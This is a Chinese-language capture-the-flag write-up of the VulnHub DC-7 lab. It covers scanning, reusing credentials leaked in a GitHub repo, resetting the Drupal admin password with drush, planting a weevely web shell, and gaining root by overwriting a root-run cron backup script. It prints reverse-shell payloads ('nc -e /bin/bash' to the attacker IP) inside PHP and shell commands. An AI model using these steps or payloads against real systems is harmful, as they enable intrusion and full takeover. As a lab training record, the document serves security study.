DC-7靶场实战

前言

   本次的靶机是vulhub下的靶机DC-7,下载地址是DC: 7 ~ VulnHub,还是一样,下载解压后用vmware打开,并且依次设置其网络适配器为nat模式

一.准备工作

输入命令

arp-scan -l

可以得知分配的IP地址为:192.168.188.134

继续输入以下命令

nmap -A -sV -p- --min-parallelism 200 192.168.188.134

可以得知网站开放了22端口和80端口以及服务器类型drupal,输入ip地址到浏览器

网站给出了一段提示,翻译成中文意思如下

网站提示我们暴力破解或者字典攻击基本上攻克不了这个网站,我们需要做的是跳出框框思考,言外之意也就是让我们通过浏览器来搜索相关的网站源码,看是否能找得到相关的漏洞可以利用

这边也提示给了我们作者信息,试试看能否在github上找到相关作者

可以发现,github上找到了作者的id,并且他还有一个公共的仓库,猜测这可能是网站的源码,我们将其下载下来

下载后解压,然后将文件夹复制到kali上

发现其中有一个config.php文件,打开它

发现了一个用户名称和密码以及一个数据库的名字,试试看ssh能否登录

发现可以登录

二.提权

 已经获得了一个交互式的shell,看看是否能提权,首先试一试suid提权,输入命令

find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

找到了一个exim4文件,我们在dc-8里面提权用到过,但是在这里查看exim4的版本命令执行不了,并且其他文件也是如此,所以suid提权没有办法

转变思路查看这个用户目录下有没有值得注意的点

打开backups文件夹,发现其中有两个文件,但是都已经被加密了,打不开

但是我们第一次打开的时候提示我们有一封新邮件,打开看看

通过邮件发现系统每隔15分钟 就会执行一次 /opt/scripts/backups.sh来备份数据库,而且是以root的身份来执行该脚本。接下来看看能不能修改该脚本。

输入命令

cd /opt/scripts/
ls -la

发现自己的当前用户只拥有执行和读权限,但是发现www-data用户是可以修改这个文件的,基本上www-data用户通过一句话木马建立的,因此我们现在需要在网站内写入一句话木马

三.一句话木马

我们打开这个脚本文件,发现里面使用了drush程序,这是一个专门管理drupal网站的一个程序,也可以通过该程序直接修改用户密码。如果想用drush管理一个网站,那么就必须先跳转到那个网站的目录下,接下来就修改管理员 admin的密码

输入命令

cd /var/www/html
drush user-password admin --password="admin"

修改admin的密码为admin

这边提示我们已经成功修改了admin的密码,我们登录网站后台,发现网站并没有提供登录页面

猜测可能网页已经被隐藏,输入命令

dirsearch -u 192.168.188.134

找到了一个可以登录的页面,输入ip地址到浏览器上

输入账号和密码,成功进入网站后台,此时我们要寻找存在数据交互的地方,并且能执行php代码的地方

发现这里面并不存在php格式,但是网站里面还有个extend,经过查询发现该网站可以安装一个模块后就可以写入php代码了。模块的下载地址为 https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

按照下图步骤点击

输入前面的IP地址到里面

安装完成后,点击这个按钮来开启模块

勾选php filter按钮,然后再点击install按钮

返回edit页面,发现此时已经可以上传php代码了

使用weevely生成一句话木马,输入以下命令

weevely  generate a a.php

a是连接时的密码

将a.php里面的内容复制下来

粘贴到edit,格式选择phpcode,然后点击save保存

从浏览器的地址栏可以得知这个页面的ip地址为192.168.188.134/node/3

使用weevely进行连接,输入命令

weevely http://192.168.188.134/node/3 a

a参数是刚开始生成的连接密码

发现此时已经连接成功了

另一种方法

当然建立反弹shell的方法也不只这一种,我们可以写入一句话木马到欢迎页

复制下列命令到欢迎页,将其保存为phpcode

<?php
system("nc -e /bin/bash 192.168.188.128 4443")
?>

先在本地创建监听端口

这样当点击Welcome to DC-7时就会执行页面里的代码

四.反弹shell

发现此时当前用户没有办法执行cd命令,可以使用echo $0开查看当前可以使用的sh命令

echo $0

当你执行 echo $0 时,shell 会输出当前脚本的名称或者执行的命令名。

可以通过基于nc反弹一个基于bash的shell可以解决这一问题

再kali上新建一个本地监听端口

rlwrap nc -lvnp 4443

在webshell上执行以下命令

nc 192.168.188.128 4443 -e /bin/bash

注意:ip地址是kali的本地ip地址

此时我们升级成一个交互时的shell

python -c 'import pty;pty.spawn("/bin/bash")'

可以发现此时已经可以成功使用cd命令了

五.提权

现在已经可以拥有写入的权限了,将反弹shell写入backups.sh,输入以下命令

cd /opt/scripts

echo "nc 192.168.188.128 -e 4445 /bin/bash" > backups.sh

然后在本地监听4445端口

打把王者回来,发现已经成功连接上了

成功获取到flag,靶场成功攻破

六.总结

 这次的靶场还是挺有难度的,但是也幸好有作者的提示,也教会我们需要灵活变通

  • 22
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值